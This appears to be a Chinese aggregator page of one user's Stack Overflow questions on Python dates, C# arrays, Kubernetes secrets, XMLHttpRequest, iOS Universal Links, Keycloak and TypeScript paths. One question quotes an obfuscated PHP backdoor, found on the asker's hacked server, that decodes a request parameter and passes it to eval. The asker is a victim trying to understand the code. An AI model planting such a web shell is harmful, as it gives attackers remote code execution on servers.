小编Cec*_*uez的帖子

如何比较两个日期?

我如何使用Python比较两个日期以查看哪个日期?

例如,我想检查当前日期是否超过我正在创建的列表中的最后日期,假日日期,以便它将自动发送电子邮件,告知管理员更新holiday.txt文件.

python datetime

344
推荐指数
4
解决办法
44万
查看次数

检查数组中是否有值(C#)

如何检查C#中的值是否在数组中?

就像,我想创建一个包含打印机名称列表的数组.

这些将被提供给一个方法,该方法将依次查看每个字符串,如果字符串与数组中的值相同,则执行该操作.

例如:

string[] printer = {"jupiter", "neptune", "pangea", "mercury", "sonic"};
foreach (p in printer)
{
   PrinterSetup(p);     
}
Run Code Online (Sandbox Code Playgroud)

这些是打印机的名称,它们被送到PrinterSetup方法.

PrinterSetup看起来有点像这样(一些伪代码):

public void PrinterSetup(printer)
{
   if (printer == "jupiter") 
   {
      Process.Start("BLAH BLAH CODE TO ADD PRINTER VIA WINDOWS EXEC");
   }
}
Run Code Online (Sandbox Code Playgroud)

如何if (printer == "jupiter")以C#可识别的方式格式化?

.net c# arrays string

90
推荐指数
6
解决办法
26万
查看次数

解码 Kubernetes 秘密

我继承了 Kubernetes/Docker 设置,但由于更改了与数据库密码相关的内容,我不小心使 pod 崩溃。

我正在尝试解决此问题。

我没有太多的 Kubernetes 或 Docker 经验,所以我仍在学习如何做事。

该值包含在我相信的 db-user-pass 凭证中,这是一个 Opaque 类型的秘密。

我是这样描述的:

kubectl describe secrets/db-user-pass
Name:         db-user-pass
Namespace:    default
Labels:       <none>
Annotations:  <none>

Type:  Opaque

Data
====
password:  16 bytes
username:  13 bytes
Run Code Online (Sandbox Code Playgroud)

但我不知道如何从这个秘密中获取任何数据。Kubernetes 站点上的示例似乎假设我将拥有一个 base64 编码的字符串,但我什至无法理解。我如何获得这个价值?

docker kubernetes

71
推荐指数
8
解决办法
7万
查看次数

用于Python的无头浏览器(需要Javascript支持!)

我需要一个相当容易使用的无头浏览器(我仍然是相当新的Python和一般的编程),这将允许我导航到一个页面,登录到需要Javascript的表单,然后通过以下方式刮擦生成的网页搜索符合特定条件的结果,单击复选框,然后单击以下载文件.所有这些都需要Javascript.

我听到无头浏览器是我想要的 - 需求/偏好是我能够从Python运行它,并且最好是生成的脚本可以通过py2exe编译(我正在为其他用户编写这个程序).

到目前为止风车看起来很像我想要的,但我不确定.

任何想法赞赏!

javascript python screen-scraping headless-browser

52
推荐指数
4
解决办法
4万
查看次数

如何使用XMLHTTPRequest传递变量

如何将变量发送到服务器XMLHTTPRequest?我会将它们添加到GET请求的URL的末尾,比如?variable1=?variable2=等等吗?

所以或多或少:

XMLHttpRequest("GET", "blahblah.psp?variable1=?" + var1 + "?variable2=" + var2, true)
Run Code Online (Sandbox Code Playgroud)

html javascript ajax

35
推荐指数
4
解决办法
9万
查看次数

试图解码病毒

我的服务器最近受到了攻击,我一直在努力研究它是如何以及为什么会发生的.

我在病毒文件中发现了一个非常相似的模式,看起来像这样 - 据我所知,它试图运行一个特定的文件?

有没有人见过这样的东西,我该怎么解释呢?它只是根据$sF字符串抓取单个字符?

<?php

$sF = "PCT4BA6ODSE_";
$s21 = strtolower($sF[4] . $sF[5] . $sF[9] . $sF[10] . $sF[6] . $sF[3] . $sF[11] . $sF[8] . $sF[10] . $sF[1] . $sF[7] . $sF[8] . $sF[10]);
$s22 = ${strtoupper($sF[11] . $sF[0] . $sF[7] . $sF[9] . $sF[2])}['nd335c3'];
if (isset($s22)) {
  eval($s21($s22));
}?>
Run Code Online (Sandbox Code Playgroud)

php virus

20
推荐指数
2
解决办法
2035
查看次数

如何从MySQL中选择最早的日期

是否有一种特定的方法可以从MySQL中的列中选择最早(或最早的两个)日期?

我想我会使用按顺序排序.

mysql

16
推荐指数
2
解决办法
5万
查看次数

尝试使用Universal Links设置重定向到应用程序但没有任何事情发生

所以我在我的网站上有以下apple-app-site-association,位于stage.domain.com/apple-app-site-association:

{
  "applinks": {
    "apps": [],
    "details": [
      {
        "appID": "TEAMID.application.id.goes.here",
        "paths": ["*"]
      }
    ]
  }
}
Run Code Online (Sandbox Code Playgroud)

我将我的Associated Domains设置为 applinks:stage.domain.com

但是当我尝试导航到stage.domain.comSafari时,它没有注册,我留在浏览器中.还有什么我需要做的吗?我知道我最终需要在应用程序中为各种页面设置路由,但这不是必要的要求吗?它应该只是拉起应用程序没有别的?或者我错过了什么?

另外,我的恢复处理程序:

func application(_ application: UIApplication, continue userActivity: NSUserActivity, restorationHandler: @escaping ([Any]?) -> Void) -> Bool {

    print("DEBUG GETS TO NSURL?")

    guard userActivity.activityType == NSUserActivityTypeBrowsingWeb,
        let url = userActivity.webpageURL

        else
    {return false}

    print("DEBUG GETS TO URL")

    return true
}
Run Code Online (Sandbox Code Playgroud)

它既没有调试条件.

ios swift

15
推荐指数
1
解决办法
2375
查看次数

在 Keycloak 中从上游读取响应标头时,上游发送了太大的标头

我正在尝试使用我正在构建的 Android 应用程序对 keycloak 服务器进行 OIDC 身份验证/授权。

我收到以下错误,这导致我在我的应用程序中收到 502:

2019/08/15 00:29:04 [error] 31921#31921: *64410338 upstream sent too big header while reading response header from upstream, client: 192.168.4.61, server: stage.example.com, request: "GET /auth/realms/master/protocol/openid-connect/auth?client_id=example-mobile-android&redirect_uri=http%3A%2F%2Flocalhost%3A53978%2F%23%2Flogin&state=a627edff-c1a2-43d3-8c6e-e5635bcc2252&response_mode=fragment&response_type=id_token%20token&scope=openid&nonce=69967773-36ba-49b2-8dd8-a31fd36f412b&prompt=none HTTP/1.1", upstream: "http://192.168.4.147:8080/auth/realms/master/protocol/openid-connect/auth?client_id=example-mobile-android&redirect_uri=http%3A%2F%2Flocalhost%3A53978%2F%23%2Flogin&state=a627edff-c1a2-43d3-8c6e-e5635bcc2252&response_mode=fragment&response_type=id_token%20token&scope=openid&nonce=69967773-36ba-49b2-8dd8-a31fd36f412b&prompt=none", host: "www.example.com", referrer: "http://localhost:53978/"
Run Code Online (Sandbox Code Playgroud)

我已经尝试过这两种方法:

proxy_buffer_size          128k;
proxy_buffers              4 256k;
proxy_busy_buffers_size    256k;
Run Code Online (Sandbox Code Playgroud)

以及完全禁用代理缓冲区。

可能发生什么事?我要进一步扩大缓冲区吗?还有其他我没有发现的错误吗?

nginx oauth-2.0 openid-connect keycloak

13
推荐指数
3
解决办法
7887
查看次数

具有多个工作区的 React 应用程序中的通用路径 - 如何做到这一点?

所以我有一个基于此的 monorepo 尝试使用:

https://github.com/GeekyAnts/nativebase-templates/tree/master/solito-universal-app-template-nativebase-typescript

这个仓库有 4 个独立的地方,其中有一个 package.json(理论上是一个 tsconfig.json)——该应用程序部分是 TypeScript,部分是 Javascript(随着时间的推移,逐渐用 TypeScript 重写它)

基本上目录结构如下所示:

/ - root directory
/apps/expo - expo-related packages, configurations, functions, etc
/apps/next - next-related packages, configuration, functions, etc
/packages/app/ - general business logic, code, pages, etc
Run Code Online (Sandbox Code Playgroud)

无论我尝试做什么或尝试在何处设置路由,它都不起作用。

在我的根文件夹中的 tsconfig.json 中,我有这个(我也尝试将其放入各个文件夹的各个 tsconfig.json 文件中):

"paths": {
  "app/*": ["./packages/app/*"],
  "components/*": ["./packages/app/components"],
  "config/*": ["./packages/app/config"],
  "controllers/*": ["./packages/app/controllers"],
  "pages/*": ["./packages/app/pages"],
  "reducers/*": ["./packages/app/redux"],
  "resources/*": ["./packages/app/resources"],
  "revenuecat/*": ["./packages/app/revenuecat"],
  "routing/*": ["./packages/app/routing"],
  "utils/*": ["./packages/app/utils"],
  "interfaces/*": ["./packages/app/interfaces"],
  "root/*": ["./*"]
}
Run Code Online (Sandbox Code Playgroud)

但我的 Next 应用程序无法识别这些路径。

我尝试将 Expo 文件夹的 babel.config.js …

javascript typescript reactjs react-native

13
推荐指数
1
解决办法
707
查看次数